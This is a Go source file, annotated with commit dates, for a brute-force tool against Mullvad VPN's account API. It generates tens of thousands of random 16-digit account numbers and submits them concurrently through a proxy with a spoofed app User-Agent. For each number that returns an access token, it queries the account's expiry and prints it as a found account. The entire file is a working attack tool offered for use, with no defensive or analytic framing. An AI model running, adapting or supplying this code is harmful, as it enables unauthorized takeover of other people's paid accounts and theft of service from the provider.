2023-10-16 04:18:41 -04:00
|
|
|
package main
|
|
|
|
|
|
|
|
import (
|
2024-05-23 22:13:43 -04:00
|
|
|
"bytes"
|
2023-10-16 04:18:41 -04:00
|
|
|
"encoding/json"
|
|
|
|
"fmt"
|
|
|
|
"io"
|
|
|
|
"math/rand"
|
|
|
|
"net/http"
|
|
|
|
"net/url"
|
2024-05-23 22:13:43 -04:00
|
|
|
"os"
|
|
|
|
"strconv"
|
2023-10-16 04:18:41 -04:00
|
|
|
"time"
|
|
|
|
|
|
|
|
"github.com/panjf2000/ants"
|
|
|
|
)
|
|
|
|
|
|
|
|
var (
|
|
|
|
proxy = "" // Proxy URL
|
|
|
|
workers = 200 // Worker threads
|
|
|
|
amount = 50000 // Account amount
|
|
|
|
timeout = time.Second * 10 // Request timeout
|
|
|
|
)
|
|
|
|
|
|
|
|
func init() {
|
|
|
|
// Generate random seed
|
2023-12-10 10:20:31 -05:00
|
|
|
rand.New(rand.NewSource(time.Now().UnixNano()))
|
2023-10-16 04:18:41 -04:00
|
|
|
}
|
|
|
|
|
|
|
|
// A login
|
|
|
|
type Login struct {
|
|
|
|
Number int
|
|
|
|
Client *http.Client
|
|
|
|
Results chan string
|
|
|
|
}
|
|
|
|
|
2024-05-23 22:13:43 -04:00
|
|
|
// API request
|
|
|
|
type Request struct {
|
|
|
|
Account string `json:"account_number"`
|
|
|
|
}
|
|
|
|
|
2023-10-16 04:18:41 -04:00
|
|
|
// API error
|
|
|
|
type Error struct {
|
|
|
|
Code string `json:"code"`
|
|
|
|
}
|
|
|
|
|
|
|
|
// API response
|
2024-05-23 22:13:43 -04:00
|
|
|
type TokenResponse struct {
|
|
|
|
AccessToken string `json:"access_token"`
|
|
|
|
}
|
|
|
|
|
|
|
|
type AccountResponse struct {
|
|
|
|
Expiry string `json:"expiry"`
|
2023-10-16 04:18:41 -04:00
|
|
|
}
|
|
|
|
|
|
|
|
// Attempt a login
|
|
|
|
func (l *Login) Attempt() {
|
2024-05-23 22:13:43 -04:00
|
|
|
// Create struct
|
|
|
|
post := Request{
|
|
|
|
Account: strconv.Itoa(l.Number),
|
|
|
|
}
|
|
|
|
|
|
|
|
// Encode data
|
|
|
|
data, err := json.Marshal(post)
|
|
|
|
if err != nil {
|
|
|
|
l.Results <- ""
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
// POST request
|
2023-10-16 04:18:41 -04:00
|
|
|
req, err := http.NewRequest(
|
2024-05-23 22:13:43 -04:00
|
|
|
"POST",
|
|
|
|
"https://api.mullvad.net/auth/v1/token",
|
|
|
|
bytes.NewBuffer(data),
|
2023-10-16 04:18:41 -04:00
|
|
|
)
|
|
|
|
if err != nil {
|
|
|
|
l.Results <- ""
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
2024-05-23 22:13:43 -04:00
|
|
|
// Set headers
|
|
|
|
req.Header.Set("Host", "api.mullvad.net")
|
|
|
|
req.Header.Set("User-Agent", "mullvad-app")
|
|
|
|
req.Header.Set("Content-Type", "application/json")
|
|
|
|
|
2023-10-16 04:18:41 -04:00
|
|
|
// Execute request
|
|
|
|
res, err := l.Client.Do(req)
|
|
|
|
if err != nil {
|
|
|
|
l.Results <- ""
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
// Read body
|
|
|
|
body, err := io.ReadAll(res.Body)
|
|
|
|
if err != nil {
|
|
|
|
l.Results <- ""
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
// Store JSON
|
2024-05-23 22:13:43 -04:00
|
|
|
var tokenResponse TokenResponse
|
2023-10-16 04:18:41 -04:00
|
|
|
var error Error
|
|
|
|
|
|
|
|
// Parse JSON
|
2024-05-23 22:13:43 -04:00
|
|
|
json.Unmarshal(body, &tokenResponse)
|
2023-10-16 04:18:41 -04:00
|
|
|
json.Unmarshal(body, &error)
|
|
|
|
|
2024-05-23 22:13:43 -04:00
|
|
|
fmt.Fprintf(os.Stderr, "Error: %s\n", error.Code)
|
|
|
|
|
|
|
|
// Success
|
|
|
|
if tokenResponse.AccessToken != "" {
|
|
|
|
// Create struct
|
|
|
|
get := Request{
|
|
|
|
Account: strconv.Itoa(l.Number),
|
|
|
|
}
|
|
|
|
|
|
|
|
encoded_get, err := json.Marshal(get)
|
|
|
|
if err != nil {
|
|
|
|
l.Results <- ""
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
// GET request
|
|
|
|
account_req, err := http.NewRequest(
|
|
|
|
"GET",
|
|
|
|
"https://api.mullvad.net/accounts/v1/accounts/me",
|
|
|
|
bytes.NewBuffer(encoded_get),
|
|
|
|
)
|
|
|
|
if err != nil {
|
|
|
|
l.Results <- ""
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
// Set headers
|
|
|
|
account_req.Header.Set("Host", "api.mullvad.net")
|
|
|
|
account_req.Header.Set("User-Agent", "mullvad-app")
|
|
|
|
account_req.Header.Set("Content-Type", "application/json")
|
|
|
|
account_req.Header.Set(
|
|
|
|
"Authorization",
|
|
|
|
fmt.Sprintf("Bearer %s", tokenResponse.AccessToken),
|
|
|
|
)
|
|
|
|
|
|
|
|
// Execute request
|
|
|
|
res, err := l.Client.Do(account_req)
|
|
|
|
if err != nil {
|
|
|
|
l.Results <- ""
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
// Read body
|
|
|
|
body, err := io.ReadAll(res.Body)
|
|
|
|
if err != nil {
|
|
|
|
l.Results <- ""
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
// Store JSON
|
|
|
|
var account_response AccountResponse
|
|
|
|
|
|
|
|
// Parse JSON
|
|
|
|
json.Unmarshal(body, &account_response)
|
|
|
|
|
|
|
|
// Account found
|
|
|
|
if account_response.Expiry != "" {
|
|
|
|
l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, account_response.Expiry)
|
|
|
|
return
|
|
|
|
}
|
2023-10-16 04:18:41 -04:00
|
|
|
}
|
|
|
|
|
|
|
|
// Error found
|
2024-05-23 22:13:43 -04:00
|
|
|
l.Results <- ""
|
2023-10-16 04:18:41 -04:00
|
|
|
}
|
|
|
|
|
|
|
|
func main() {
|
|
|
|
// Get job count
|
|
|
|
jobs := amount
|
|
|
|
|
2024-05-23 22:13:43 -04:00
|
|
|
// Halve worker amount
|
2023-10-16 04:18:41 -04:00
|
|
|
if workers == jobs {
|
|
|
|
workers = workers / 2
|
|
|
|
} else if workers >= jobs {
|
|
|
|
workers = 1
|
|
|
|
}
|
|
|
|
|
|
|
|
// Results channel, new pool
|
2024-05-23 22:13:43 -04:00
|
|
|
results := make(chan string, amount)
|
2023-10-16 04:18:41 -04:00
|
|
|
pool, err := ants.NewPool(workers)
|
|
|
|
// Handle error
|
|
|
|
if err != nil {
|
|
|
|
panic(err)
|
|
|
|
}
|
|
|
|
defer pool.Release()
|
|
|
|
|
|
|
|
// Make amount of accounts
|
|
|
|
for n := 0; n <= amount; n++ {
|
|
|
|
// Generate number
|
|
|
|
number := rand.Intn(9999999999999999 - 1000000000000000)
|
|
|
|
|
|
|
|
// Parse proxy URL
|
|
|
|
url, err := url.Parse(proxy)
|
|
|
|
if err != nil {
|
|
|
|
panic(err)
|
|
|
|
}
|
|
|
|
|
|
|
|
// New HTTP client
|
|
|
|
client := &http.Client{
|
|
|
|
Transport: &http.Transport{
|
|
|
|
Proxy: http.ProxyURL(url),
|
|
|
|
},
|
|
|
|
Timeout: timeout,
|
|
|
|
}
|
|
|
|
|
|
|
|
// Create login
|
|
|
|
login := &Login{
|
|
|
|
Number: number,
|
|
|
|
Client: client,
|
|
|
|
Results: results,
|
|
|
|
}
|
|
|
|
|
|
|
|
// Submit job
|
|
|
|
pool.Submit(func() {
|
|
|
|
// Attempt login
|
2023-12-10 10:20:31 -05:00
|
|
|
login.Attempt()
|
2023-10-16 04:18:41 -04:00
|
|
|
})
|
|
|
|
}
|
|
|
|
|
|
|
|
// Recieve all results
|
2024-05-23 22:13:43 -04:00
|
|
|
for r := 0; r <= jobs; r++ {
|
2023-10-16 04:18:41 -04:00
|
|
|
result := <-results
|
|
|
|
if result != "" {
|
|
|
|
fmt.Println(result)
|
|
|
|
}
|
|
|
|
}
|
|
|
|
defer close(results)
|
|
|
|
}
|